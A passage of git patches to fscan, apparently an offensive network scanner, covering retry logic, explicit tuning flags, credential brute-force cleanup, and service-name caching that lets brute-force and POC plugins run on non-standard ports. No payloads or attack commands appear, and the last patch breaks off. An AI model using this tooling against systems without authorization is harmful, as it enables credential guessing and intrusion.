From: ZacharyZcR Date: Fri, 12 Jun 2026 10:11:34 +0800 Subject: [PATCH 06/29] =?UTF-8?q?fix:=20=E9=99=8D=E7=BA=A7=20modernc.org/s?= =?UTF-8?q?qlite=20=E5=88=B0=20v1.39.0=20=E9=80=82=E9=85=8D=20CI?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index 3316517..de2ad84 100644 --- a/go.mod +++ b/go.mod @@ -31,7 +31,7 @@ require ( google.golang.org/protobuf v1.28.1 gopkg.in/yaml.v2 v2.4.0 gopkg.in/yaml.v3 v3.0.1 - modernc.org/sqlite v1.52.0 + modernc.org/sqlite v1.39.0 ) require ( diff --git a/go.sum b/go.sum index b57fec2..bb58a8f 100644 --- a/go.sum +++ b/go.sum @@ -309,8 +309,8 @@ modernc.org/opt v0.2.0 h1:tGyef5ApycA7FSEOMraay9SaTk5zmbx7Tu+cJs4QKZg= modernc.org/opt v0.2.0/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns= modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w= modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE= -modernc.org/sqlite v1.52.0 h1:p4dhYh2tXZCiyaqHwRVJDjIGKWyXayiQpThxgDzJaxo= -modernc.org/sqlite v1.52.0/go.mod h1:tcNzv5p84E0skkmJn038y+hWJbLQXQqEnQfeh5r2JLM= +modernc.org/sqlite v1.39.0 h1:6bwu9Ooim0yVYA7IZn9demiQk/Ejp0BtTjBWFLymSeY= +modernc.org/sqlite v1.39.0/go.mod h1:cPTJYSlgg3Sfg046yBShXENNtPrWrDX8bsbAQBzgQ5E= modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0= modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A= modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= From 4b79cb7a1807f822e96ca11df65500622a55d987 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Fri, 12 Jun 2026 11:41:49 +0800 Subject: [PATCH 07/29] =?UTF-8?q?ci:=20=E5=8D=87=E7=BA=A7=20CI=20Go=20?= =?UTF-8?q?=E7=89=88=E6=9C=AC=E5=88=B0=201.25?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/workflows/release.yml | 2 +- .github/workflows/test-build.yml | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 6562fbd..e7b8dc7 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -52,7 +52,7 @@ jobs: uses: ./.github/actions/build-release with: mode: ${{ inputs.snapshot && 'snapshot' || 'release' }} - go-version: '1.20' + go-version: '1.25' retention-days: '90' release-args: ${{ inputs.draft && '--draft' || '' }} diff --git a/.github/workflows/test-build.yml b/.github/workflows/test-build.yml index b31f5a0..578928b 100644 --- a/.github/workflows/test-build.yml +++ b/.github/workflows/test-build.yml @@ -54,7 +54,7 @@ jobs: - name: 设置 Go 环境 uses: actions/setup-go@v5 with: - go-version: '1.23' + go-version: '1.25' cache: true - name: 运行 golangci-lint @@ -114,7 +114,7 @@ jobs: - name: 设置 Go 环境 uses: actions/setup-go@v5 with: - go-version: '1.20' + go-version: '1.25' cache: true - name: 下载依赖 @@ -181,7 +181,7 @@ jobs: - name: 设置 Go 环境 uses: actions/setup-go@v5 with: - go-version: '1.20' + go-version: '1.25' cache: true - name: 构建验证 From 8e3cac303d0198ef8bb4f2305709e4884e88053e Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Fri, 12 Jun 2026 12:23:54 +0800 Subject: [PATCH 08/29] =?UTF-8?q?fix:=20webtitle=20HTTP=20=E8=AF=B7?= =?UTF-8?q?=E6=B1=82=E5=A4=B1=E8=B4=A5=E6=97=B6=E9=87=8D=E8=AF=95=EF=BC=8C?= =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=89=B9=E9=87=8F=E6=89=AB=E6=8F=8F=20POC=20?= =?UTF-8?q?=E7=BC=BA=E5=A4=B1=20#587?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 批量扫描(-hf)时并发压力导致 HTTP 请求瞬时失败,getWebTitle 直接返回 error,跳过指纹识别和 POC 触发。 加入指数退避重试(200ms→400ms),最多 3 次,复用 config.MaxRetries。 --- plugins/web/webtitle.go | 43 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 42 insertions(+), 1 deletion(-) diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index 4a4ab0a..214b400 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -10,6 +10,7 @@ import ( "net/url" "regexp" "strings" + "time" "unicode/utf8" "github.com/shadow1ng/fscan/common" @@ -42,7 +43,47 @@ func NewWebTitlePlugin() *WebTitlePlugin { // Scan 执行WebTitle扫描 func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *WebScanResult { config := session.Config - title, status, length, server, fingerprints, url, err := p.getWebTitle(ctx, info, config, session) + + // 带重试的 HTTP 请求:批量扫描时并发压力可能导致瞬时失败 + maxRetries := config.MaxRetries + if maxRetries <= 0 { + maxRetries = 1 + } + if maxRetries > 3 { + maxRetries = 3 + } + + var title string + var status, length int + var server string + var fingerprints []string + var url string + var err error + + for attempt := 0; attempt < maxRetries; attempt++ { + select { + case <-ctx.Done(): + return &WebScanResult{Success: false, Error: ctx.Err()} + default: + } + + title, status, length, server, fingerprints, url, err = p.getWebTitle(ctx, info, config, session) + if err == nil { + break + } + + if attempt < maxRetries-1 { + wait := time.Duration(200*(1< Date: Fri, 12 Jun 2026 15:30:44 +0800 Subject: [PATCH 09/29] Fix credential cleanup and explicit tuning flags --- common/config_struct.go | 55 +++++++------ common/flag.go | 13 +++- common/flag_config.go | 90 ++++++++++++---------- core/edge_cases_test.go | 18 ++++- core/env_profiler.go | 14 ++-- core/env_profiler_test.go | 49 ++++++++++-- plugins/services/credential_tester.go | 17 ++-- plugins/services/credential_tester_test.go | 35 +++++++++ 8 files changed, 205 insertions(+), 86 deletions(-) diff --git a/common/config_struct.go b/common/config_struct.go index 3a6e9ed..164748c 100644 --- a/common/config_struct.go +++ b/common/config_struct.go @@ -22,20 +22,23 @@ config_struct.go - 配置结构体定义 // Config 扫描器完整配置 - 初始化后只读,可安全共享 type Config struct { // 高频访问字段 - 平铺到顶层 - Timeout time.Duration // 通用超时 - ThreadNum int // 主线程数 - ThreadNumExplicit bool // 用户显式指定了 -t - ModuleThreadNum int // 模块线程数 - DisableBrute bool // 禁用暴力破解 - DisablePing bool // 禁用Ping检测 - DisableTcpProbe bool // 禁用TCP补充探测 + Timeout time.Duration // 通用超时 + TimeoutExplicit bool // 用户显式指定了 -time + ThreadNum int // 主线程数 + ThreadNumExplicit bool // 用户显式指定了 -t + ModuleThreadNum int // 模块线程数 + ModuleThreadNumExplicit bool // 用户显式指定了 -mt + DisableBrute bool // 禁用暴力破解 + DisablePing bool // 禁用Ping检测 + DisableTcpProbe bool // 禁用TCP补充探测 // 扫描模式 - Mode string // 扫描模式 - LocalMode bool // 本地模式 - LocalPlugin string // 本地插件名 - AliveOnly bool // 仅存活检测 - MaxRetries int // 最大重试次数 + Mode string // 扫描模式 + LocalMode bool // 本地模式 + LocalPlugin string // 本地插件名 + AliveOnly bool // 仅存活检测 + MaxRetries int // 最大重试次数 + MaxRetriesExplicit bool // 用户显式指定了 -retry // 高级功能(从AdvancedConfig合并) Shellcode string // Shellcode @@ -81,14 +84,15 @@ type CredentialConfig struct { // NetworkConfig 网络相关配置 type NetworkConfig struct { - HTTPProxy string - Socks5Proxy string - Iface string - WebTimeout time.Duration - MaxRedirects int - PacketRateLimit int64 - MaxPacketCount int64 - ICMPRate float64 + HTTPProxy string + Socks5Proxy string + Iface string + WebTimeout time.Duration + MaxRedirects int + PacketRateLimit int64 + MaxPacketCount int64 + ICMPRate float64 + ICMPRateExplicit bool } // OutputConfig 输出相关配置 @@ -107,11 +111,12 @@ type OutputConfig struct { // POCConfig POC扫描相关配置 type POCConfig struct { - PocPath string // POC路径 - PocName string // 指定POC名称 - Full bool // 完整POC扫描 - Num int // POC并发数 - Disabled bool // 禁用POC扫描 + PocPath string // POC路径 + PocName string // 指定POC名称 + Full bool // 完整POC扫描 + Num int // POC并发数 + NumExplicit bool // 用户显式指定了 -num + Disabled bool // 禁用POC扫描 } // RedisConfig Redis利用相关配置 diff --git a/common/flag.go b/common/flag.go index 7a7c82a..4ea91d5 100644 --- a/common/flag.go +++ b/common/flag.go @@ -215,8 +215,19 @@ func Flag(Info *HostInfo) error { // 检测用户是否显式指定了 -t flag.Visit(func(f *flag.Flag) { - if f.Name == "t" { + switch f.Name { + case "t": fv.ThreadNumExplicit = true + case "time": + fv.TimeoutExplicit = true + case "mt": + fv.ModuleThreadNumExplicit = true + case "retry": + fv.MaxRetriesExplicit = true + case "icmp-rate": + fv.ICMPRateExplicit = true + case "num": + fv.PocNumExplicit = true } }) diff --git a/common/flag_config.go b/common/flag_config.go index b147227..085966b 100644 --- a/common/flag_config.go +++ b/common/flag_config.go @@ -30,18 +30,21 @@ type FlagVars struct { PortsFile string // 扫描控制 - ScanMode string - ThreadNum int - ThreadNumExplicit bool // 用户显式指定了 -t - ModuleThreadNum int - TimeoutSec int64 // 秒,需转换为 time.Duration - GlobalTimeout int64 - DisablePing bool - DisableTcpProbe bool - LocalPlugin string - AliveOnly bool - DisableBrute bool - MaxRetries int + ScanMode string + ThreadNum int + ThreadNumExplicit bool // 用户显式指定了 -t + ModuleThreadNum int + ModuleThreadNumExplicit bool + TimeoutSec int64 // 秒,需转换为 time.Duration + TimeoutExplicit bool + GlobalTimeout int64 + DisablePing bool + DisableTcpProbe bool + LocalPlugin string + AliveOnly bool + DisableBrute bool + MaxRetries int + MaxRetriesExplicit bool // 认证凭据 Username string @@ -74,6 +77,7 @@ type FlagVars struct { PocFull bool DNSLog bool PocNum int + PocNumExplicit bool DisablePocScan bool // Redis利用 @@ -85,9 +89,10 @@ type FlagVars struct { DisableRedis bool // 发包频率 - PacketRateLimit int64 - MaxPacketCount int64 - ICMPRate float64 + PacketRateLimit int64 + MaxPacketCount int64 + ICMPRate float64 + ICMPRateExplicit bool // 输出控制 Outputfile string @@ -135,20 +140,23 @@ func GetFlagVars() *FlagVars { func BuildConfigFromFlags(fv *FlagVars) *Config { return &Config{ // 高频字段 - Timeout: time.Duration(fv.TimeoutSec) * time.Second, - ThreadNum: fv.ThreadNum, - ThreadNumExplicit: fv.ThreadNumExplicit, - ModuleThreadNum: fv.ModuleThreadNum, - DisableBrute: fv.DisableBrute, - DisablePing: fv.DisablePing, - DisableTcpProbe: fv.DisableTcpProbe, + Timeout: time.Duration(fv.TimeoutSec) * time.Second, + TimeoutExplicit: fv.TimeoutExplicit, + ThreadNum: fv.ThreadNum, + ThreadNumExplicit: fv.ThreadNumExplicit, + ModuleThreadNum: fv.ModuleThreadNum, + ModuleThreadNumExplicit: fv.ModuleThreadNumExplicit, + DisableBrute: fv.DisableBrute, + DisablePing: fv.DisablePing, + DisableTcpProbe: fv.DisableTcpProbe, // 扫描模式 - Mode: fv.ScanMode, - LocalMode: fv.LocalPlugin != "", - LocalPlugin: fv.LocalPlugin, - AliveOnly: fv.AliveOnly, - MaxRetries: fv.MaxRetries, + Mode: fv.ScanMode, + LocalMode: fv.LocalPlugin != "", + LocalPlugin: fv.LocalPlugin, + AliveOnly: fv.AliveOnly, + MaxRetries: fv.MaxRetries, + MaxRetriesExplicit: fv.MaxRetriesExplicit, // 高级功能 Shellcode: fv.Shellcode, @@ -173,14 +181,15 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { SSHKeyPath: fv.SSHKeyPath, }, Network: NetworkConfig{ - HTTPProxy: fv.HTTPProxy, - Socks5Proxy: fv.Socks5Proxy, - Iface: fv.Iface, - WebTimeout: time.Duration(fv.WebTimeout) * time.Second, - MaxRedirects: fv.MaxRedirects, - PacketRateLimit: fv.PacketRateLimit, - MaxPacketCount: fv.MaxPacketCount, - ICMPRate: fv.ICMPRate, + HTTPProxy: fv.HTTPProxy, + Socks5Proxy: fv.Socks5Proxy, + Iface: fv.Iface, + WebTimeout: time.Duration(fv.WebTimeout) * time.Second, + MaxRedirects: fv.MaxRedirects, + PacketRateLimit: fv.PacketRateLimit, + MaxPacketCount: fv.MaxPacketCount, + ICMPRate: fv.ICMPRate, + ICMPRateExplicit: fv.ICMPRateExplicit, }, Output: OutputConfig{ File: fv.Outputfile, @@ -195,11 +204,12 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { PerfStats: fv.PerfStats, }, POC: POCConfig{ - PocPath: fv.PocPath, - PocName: fv.PocName, - Full: fv.PocFull, - Num: fv.PocNum, - Disabled: fv.DisablePocScan, + PocPath: fv.PocPath, + PocName: fv.PocName, + Full: fv.PocFull, + Num: fv.PocNum, + NumExplicit: fv.PocNumExplicit, + Disabled: fv.DisablePocScan, }, Redis: RedisConfig{ Disabled: fv.DisableRedis, diff --git a/core/edge_cases_test.go b/core/edge_cases_test.go index 854235c..12983fa 100644 --- a/core/edge_cases_test.go +++ b/core/edge_cases_test.go @@ -575,9 +575,9 @@ func TestClampInt(t *testing.T) { {0, 1, 10, 1}, {15, 1, 10, 10}, {-5, -10, -1, -5}, - {5, 5, 5, 5}, // min == max == v - {3, 5, 5, 5}, // v < min == max - {10, 5, 5, 5}, // v > min == max + {5, 5, 5, 5}, // min == max == v + {3, 5, 5, 5}, // v < min == max + {10, 5, 5, 5}, // v > min == max } for _, tt := range tests { @@ -636,4 +636,16 @@ func TestIsExplicit(t *testing.T) { if !isExplicit(config, "t") { t.Error("ThreadNumExplicit=true 应视为显式") } + + config = makeDefaultConfig() + config.TimeoutExplicit = true + config.ModuleThreadNumExplicit = true + config.MaxRetriesExplicit = true + config.Network.ICMPRateExplicit = true + config.POC.NumExplicit = true + if !isExplicit(config, "time") || !isExplicit(config, "mt") || + !isExplicit(config, "retry") || !isExplicit(config, "icmp-rate") || + !isExplicit(config, "num") { + t.Error("显式标记为 true 时默认值也应视为显式") + } } diff --git a/core/env_profiler.go b/core/env_profiler.go index dde2267..40adfe3 100644 --- a/core/env_profiler.go +++ b/core/env_profiler.go @@ -180,22 +180,22 @@ func computeICMPRate(net *NetworkProfile, sys *SystemProfile) float64 { return base } -// isExplicit 检查参数是否被用户显式指定 -// 目前只有 ThreadNum 有 explicit 标记,其他参数通过检查是否为默认值来判断 +// isExplicit 检查参数是否被用户显式指定。 +// 显式标记来自 CLI flag.Visit;值比较保留 SDK/测试里直接构造 Config 的旧行为。 func isExplicit(config *common.Config, flagName string) bool { switch flagName { case "t": return config.ThreadNumExplicit case "time": - return config.Timeout != 3*time.Second // 默认值 + return config.TimeoutExplicit || config.Timeout != 3*time.Second case "mt": - return config.ModuleThreadNum != 20 // 默认值 + return config.ModuleThreadNumExplicit || config.ModuleThreadNum != 20 case "retry": - return config.MaxRetries != 3 // 默认值 + return config.MaxRetriesExplicit || config.MaxRetries != 3 case "icmp-rate": - return config.Network.ICMPRate != 0.1 // 默认值 + return config.Network.ICMPRateExplicit || config.Network.ICMPRate != 0.1 case "num": - return config.POC.Num != 20 // 默认值 + return config.POC.NumExplicit || config.POC.Num != 20 } return false } diff --git a/core/env_profiler_test.go b/core/env_profiler_test.go index eebde01..f0e197e 100644 --- a/core/env_profiler_test.go +++ b/core/env_profiler_test.go @@ -214,11 +214,11 @@ func TestTuneConfig_SlowLossy(t *testing.T) { func TestTuneConfig_ExplicitOverride(t *testing.T) { config := makeDefaultConfig() - config.Timeout = 5 * time.Second // 用户设了 -time 5 - config.ModuleThreadNum = 50 // 用户设了 -mt 50 - config.MaxRetries = 1 // 用户设了 -retry 1 - config.Network.ICMPRate = 0.8 // 用户设了 -icmp-rate 0.8 - config.POC.Num = 100 // 用户设了 -num 100 + config.Timeout = 5 * time.Second // 用户设了 -time 5 + config.ModuleThreadNum = 50 // 用户设了 -mt 50 + config.MaxRetries = 1 // 用户设了 -retry 1 + config.Network.ICMPRate = 0.8 // 用户设了 -icmp-rate 0.8 + config.POC.Num = 100 // 用户设了 -num 100 session := makeTestSession(config) ep := &EnvironmentProfile{ @@ -252,6 +252,45 @@ func TestTuneConfig_ExplicitOverride(t *testing.T) { } } +func TestTuneConfig_ExplicitDefaultValues(t *testing.T) { + config := makeDefaultConfig() + config.TimeoutExplicit = true + config.ModuleThreadNumExplicit = true + config.MaxRetriesExplicit = true + config.Network.ICMPRateExplicit = true + config.POC.NumExplicit = true + session := makeTestSession(config) + + ep := &EnvironmentProfile{ + Net: NetworkProfile{ + Env: EnvLAN, + RTTMedian: 1 * time.Millisecond, + RTTStddev: 500 * time.Microsecond, + LossRate: 0.0, + Samples: 30, + }, + System: SystemProfile{FDLimit: 65536, NumCPU: 8}, + } + + ep.TuneConfig(config, session) + + if config.Timeout != 3*time.Second { + t.Errorf("显式默认 Timeout 被覆盖: %v", config.Timeout) + } + if config.ModuleThreadNum != 20 { + t.Errorf("显式默认 ModuleThreadNum 被覆盖: %d", config.ModuleThreadNum) + } + if config.MaxRetries != 3 { + t.Errorf("显式默认 MaxRetries 被覆盖: %d", config.MaxRetries) + } + if config.Network.ICMPRate != 0.1 { + t.Errorf("显式默认 ICMPRate 被覆盖: %.2f", config.Network.ICMPRate) + } + if config.POC.Num != 20 { + t.Errorf("显式默认 PocNum 被覆盖: %d", config.POC.Num) + } +} + // ============================================================================= // 集成测试:fd limit 约束 // ============================================================================= diff --git a/plugins/services/credential_tester.go b/plugins/services/credential_tester.go index 8066aac..37fed92 100644 --- a/plugins/services/credential_tester.go +++ b/plugins/services/credential_tester.go @@ -61,6 +61,8 @@ type AuthFunc func(ctx context.Context, cred Credential) *AuthResult // ErrorClassifier 错误分类函数 type ErrorClassifier func(err error) ErrorType +var authCleanupWait = 2 * time.Second + // ============================================================================= // 单凭据测试(解决 goroutine 泄漏) // ============================================================================= @@ -79,12 +81,17 @@ func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc) case result := <-resultChan: return result case <-ctx.Done(): - // context 被取消,等待 authFn goroutine 返回并清理连接 - // 各插件的 authFn 应在 context 取消时关闭底层连接使 goroutine 快速退出 + // context 被取消后只做有界等待,避免 authFn 卡死时清理 goroutine 也永久泄漏。 go func() { - result := <-resultChan - if result != nil && result.Conn != nil { - _ = result.Conn.Close() + timer := time.NewTimer(authCleanupWait) + defer timer.Stop() + + select { + case result := <-resultChan: + if result != nil && result.Conn != nil { + _ = result.Conn.Close() + } + case <-timer.C: } }() return &AuthResult{ diff --git a/plugins/services/credential_tester_test.go b/plugins/services/credential_tester_test.go index 1955b11..1e3511e 100644 --- a/plugins/services/credential_tester_test.go +++ b/plugins/services/credential_tester_test.go @@ -4,6 +4,7 @@ import ( "context" "errors" "io" + "runtime" "sync/atomic" "testing" "time" @@ -401,6 +402,40 @@ func TestTestSingleCredential_ContextCancel(t *testing.T) { } } +func TestTestSingleCredential_ContextCancelCleanupIsBounded(t *testing.T) { + oldWait := authCleanupWait + authCleanupWait = 20 * time.Millisecond + defer func() { authCleanupWait = oldWait }() + + authStarted := make(chan struct{}) + releaseAuth := make(chan struct{}) + authFn := func(ctx context.Context, cred Credential) *AuthResult { + close(authStarted) + <-releaseAuth + return nil + } + + ctx, cancel := context.WithCancel(context.Background()) + go func() { + <-authStarted + cancel() + }() + + before := runtime.NumGoroutine() + result := TestSingleCredential(ctx, Credential{Username: "admin", Password: "admin"}, authFn) + if result.Success { + t.Error("context取消后不应该返回成功") + } + + time.Sleep(100 * time.Millisecond) + after := runtime.NumGoroutine() + close(releaseAuth) + + if after > before+1 { + t.Fatalf("清理 goroutine 疑似泄漏: before=%d after=%d", before, after) + } +} + // ============================================================================= // 重试逻辑测试 // ============================================================================= From 5c251b123d6079ae37287523d04444f360bd4ffd Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Fri, 12 Jun 2026 16:36:27 +0800 Subject: [PATCH 10/29] =?UTF-8?q?fix:=20=E7=A7=BB=E9=99=A4=E8=AF=AF?= =?UTF-8?q?=E5=AF=BC=E6=80=A7=E7=9A=84"=E6=97=A0=E5=8F=AF=E7=94=A8?= =?UTF-8?q?=E6=8F=92=E4=BB=B6"=E6=97=A5=E5=BF=97=20#588?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 扫描开始前的插件预检基于端口列表静态匹配,不代表实际扫描中插件 不会执行。移除"无可用插件"提示,避免用户误以为插件未工作。 --- common/output/stdout_writer.go | 18 +++++++++++++----- core/service_scanner.go | 22 ++++------------------ 2 files changed, 17 insertions(+), 23 deletions(-) diff --git a/common/output/stdout_writer.go b/common/output/stdout_writer.go index 80f38f5..b5228c2 100644 --- a/common/output/stdout_writer.go +++ b/common/output/stdout_writer.go @@ -4,7 +4,9 @@ import ( "bufio" "encoding/json" "fmt" + "net" "os" + "strconv" "strings" "sync" ) @@ -132,13 +134,19 @@ func toInt(v interface{}) (int, bool) { } func splitHostPort(target string) (string, int, bool) { - idx := strings.LastIndex(target, ":") - if idx < 0 { + host, portText, err := net.SplitHostPort(target) + if err != nil { + if strings.Count(target, ":") != 1 { + return "", 0, false + } + parts := strings.SplitN(target, ":", 2) + host, portText = parts[0], parts[1] + } + port, err := strconv.Atoi(portText) + if err != nil { return "", 0, false } - host := target[:idx] - var port int - if _, err := fmt.Sscanf(target[idx+1:], "%d", &port); err != nil { + if host == "" || port < 1 || port > 65535 { return "", 0, false } return host, port, true diff --git a/core/service_scanner.go b/core/service_scanner.go index 4668eb5..d683590 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -69,7 +69,7 @@ func (s *ServiceScanStrategy) showPluginsForSpecifiedPorts(config *common.Config applicablePlugins = append(applicablePlugins, pluginName) } - // 输出结果 + // 输出结果(仅在有匹配插件时显示,避免因预检端口不完整而输出误导性的"无可用插件") if len(applicablePlugins) > 0 { pluginStr := formatPluginList(applicablePlugins) if isCustomMode { @@ -77,8 +77,6 @@ func (s *ServiceScanStrategy) showPluginsForSpecifiedPorts(config *common.Config } else { session.LogInfo(i18n.Tr("service_plugin_info", pluginStr)) } - } else { - session.LogInfo(i18n.GetText("service_plugin_none")) } } @@ -88,18 +86,9 @@ func (s *ServiceScanStrategy) parsePortList(portStr string) []int { return []int{} } - ports := []int{} // 初始化为空切片而非nil - parts := strings.Split(portStr, ",") - for _, part := range parts { - part = strings.TrimSpace(part) - if port, err := strconv.Atoi(part); err == nil { - // 验证端口范围 1-65535(与 scanner.go 的 parsePort 保持一致) - if port >= 1 && port <= 65535 { - ports = append(ports, port) - } else { - common.LogError(i18n.Tr("port_out_of_range", port)) - } - } + ports := parsers.ParsePort(portStr) + if ports == nil { + return []int{} } return ports } @@ -340,11 +329,8 @@ func (s *ServiceScanStrategy) LogVulnerabilityPluginInfo(targets []common.HostIn servicePlugins = append(servicePlugins, pluginName) } - // 输出插件信息 if len(servicePlugins) > 0 { common.LogInfo(i18n.Tr("service_plugin_info", strings.Join(servicePlugins, ", "))) - } else { - common.LogInfo(i18n.GetText("scan_no_service_plugins")) } } From 2ab7c4d9b2e6f016ed050b9e10cafaa7c2297c6b Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Fri, 12 Jun 2026 19:31:56 +0800 Subject: [PATCH 11/29] =?UTF-8?q?fix:=20=E9=9D=9E=E6=A0=87=E5=87=86?= =?UTF-8?q?=E7=AB=AF=E5=8F=A3=E7=9A=84=E6=9C=8D=E5=8A=A1=E6=97=A0=E6=B3=95?= =?UTF-8?q?=E5=8C=B9=E9=85=8D=E5=AF=B9=E5=BA=94=E6=8F=92=E4=BB=B6=20#588?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 端口扫描识别到 8881 上运行 SSH,但 SSH 插件只注册了 [22,2222,2200,22222], 端口不匹配导致插件不执行。 新增服务名称缓存:端口扫描阶段记录 host:port → serviceName, 插件匹配时端口不命中则回退到服务名称匹配。 --- core/base_scan_strategy.go | 11 +++++++++++ core/port_scan.go | 14 ++++++++++++-- core/service_cache.go | 36 ++++++++++++++++++++++++++++++++++++ 3 files changed, 59 insertions(+), 2 deletions(-) create mode 100644 core/service_cache.go diff --git a/core/base_scan_strategy.go b/core/base_scan_strategy.go index 9bf9abc..a1912ab 100644 --- a/core/base_scan_strategy.go +++ b/core/base_scan_strategy.go @@ -115,6 +115,7 @@ func (b *BaseScanStrategy) isLocalPluginExplicitlySpecified(pluginName string, c } // isPluginApplicableToPortWithHost 检查插件是否适用于指定端口 +// 匹配策略:端口匹配 → 服务名称匹配(解决非标准端口问题) func (b *BaseScanStrategy) isPluginApplicableToPortWithHost(pluginName string, targetHost string, targetPort int) bool { if b.isWebPlugin(pluginName) { return IsMarkedWebService(targetHost, targetPort) @@ -136,6 +137,16 @@ func (b *BaseScanStrategy) isPluginApplicableToPortWithHost(pluginName string, t } } + // 端口不匹配时,按服务识别结果匹配 + // 例:8881 端口上识别到 ssh 服务 → ssh 插件应该执行 + if targetHost != "" && targetPort > 0 { + if svcName, ok := GetServiceName(targetHost, targetPort); ok { + if strings.EqualFold(svcName, pluginName) { + return true + } + } + } + return false } diff --git a/core/port_scan.go b/core/port_scan.go index 150d717..a816c2c 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -472,14 +472,21 @@ func buildWebServiceURL(addr string, serviceInfo *ServiceInfo) string { return fmt.Sprintf("%s://%s", protocol, addr) } if protocol == "http" && port == "80" { - return fmt.Sprintf("http://%s", host) + return fmt.Sprintf("http://%s", urlHost(host)) } if protocol == "https" && port == "443" { - return fmt.Sprintf("https://%s", host) + return fmt.Sprintf("https://%s", urlHost(host)) } return fmt.Sprintf("%s://%s", protocol, net.JoinHostPort(host, port)) } +func urlHost(host string) string { + if strings.Contains(host, ":") && !strings.HasPrefix(host, "[") { + return "[" + host + "]" + } + return host +} + // scanSinglePort 扫描单个端口并进行服务识别(重构后的简洁版本) func scanSinglePort(ctx context.Context, host string, port int, addr string, adaptiveTO *AdaptiveTimeout, metrics *ScanMetrics, count *atomic.Int64, collector *resultCollector, failedCollector *failedPortCollector, session *common.ScanSession) { config := session.Config @@ -700,6 +707,9 @@ func processServiceResult(ctx context.Context, host string, port int, addr strin return } + // 缓存服务名称,供插件按服务类型匹配(解决非标准端口问题) + MarkServiceName(host, port, serviceInfo.Name) + // 保存并输出服务信息 details := buildServiceDetails(port, serviceInfo) isWeb := IsWebServiceByFingerprint(serviceInfo) diff --git a/core/service_cache.go b/core/service_cache.go new file mode 100644 index 0000000..4f1054b --- /dev/null +++ b/core/service_cache.go @@ -0,0 +1,36 @@ +package core + +import ( + "net" + "strconv" + "strings" + "sync" +) + +// 服务识别缓存:host:port → 服务名称 +// 端口扫描阶段写入,插件匹配阶段读取 +// 解决非标准端口上的服务无法匹配对应插件的问题 +var ( + serviceNameCache = make(map[string]string) + serviceCacheMu sync.RWMutex +) + +// MarkServiceName 记录端口上识别到的服务名称 +func MarkServiceName(host string, port int, serviceName string) { + if serviceName == "" || serviceName == "unknown" { + return + } + key := net.JoinHostPort(host, strconv.Itoa(port)) + serviceCacheMu.Lock() + serviceNameCache[key] = strings.ToLower(serviceName) + serviceCacheMu.Unlock() +} + +// GetServiceName 查询端口上的服务名称 +func GetServiceName(host string, port int) (string, bool) { + key := net.JoinHostPort(host, strconv.Itoa(port)) + serviceCacheMu.RLock() + name, ok := serviceNameCache[key] + serviceCacheMu.RUnlock() + return name, ok +} From 5ad914a1bb796c8aaafa3581803bc58715622ff2 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Fri, 12 Jun 2026 19:49:07 +0800 Subject: [PATCH 12/29] =?UTF-8?q?feat:=20=E7=BB=9F=E4=B8=80=E6=9C=8D?= =?UTF-8?q?=E5=8A=A1=E7=BC=93=E5=AD=98=20+=20=E6=8C=87=E7=BA=B9=E9=A9=B1?= =?UTF-8?q?=E5=8A=A8=E6=8F=92=E4=BB=B6=E5=8C=B9=E9=85=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 将 webServiceCache 扩展为通用 serviceCache,所有指纹识别结果 统一缓存,插件匹配时端口不命中则回退到服务名称匹配。 删除多余的 service_cache.go,复用已有的 ServiceInfo 体系。 补充 nil 防御、Explicit 标记、大量单元/集成/回归测试。 --- common/config_builder.go | 39 ++- common/config_builder_test.go | 118 +++++++ common/config_struct.go | 37 ++- common/flag_config.go | 8 +- common/globals.go | 6 +- common/globals_test.go | 7 + common/network.go | 19 +- common/output/stdout_writer_test.go | 35 ++ common/output/writers.go | 6 + common/output/writers_test.go | 3 + common/session_test.go | 20 ++ core/base_scan_strategy.go | 6 +- core/network_profiler.go | 8 +- core/network_profiler_test.go | 38 ++- core/port_scan.go | 5 +- core/port_scan_test.go | 42 +++ core/service_cache.go | 36 --- core/service_cache_test.go | 354 +++++++++++++++++++++ core/service_scanner_test.go | 37 ++- core/tuning_cli_integration_test.go | 82 +++++ core/web_scanner.go | 46 ++- core/web_scanner_test.go | 12 +- libs/grdp/login/screen.go | 14 +- libs/grdp/login/screen_test.go | 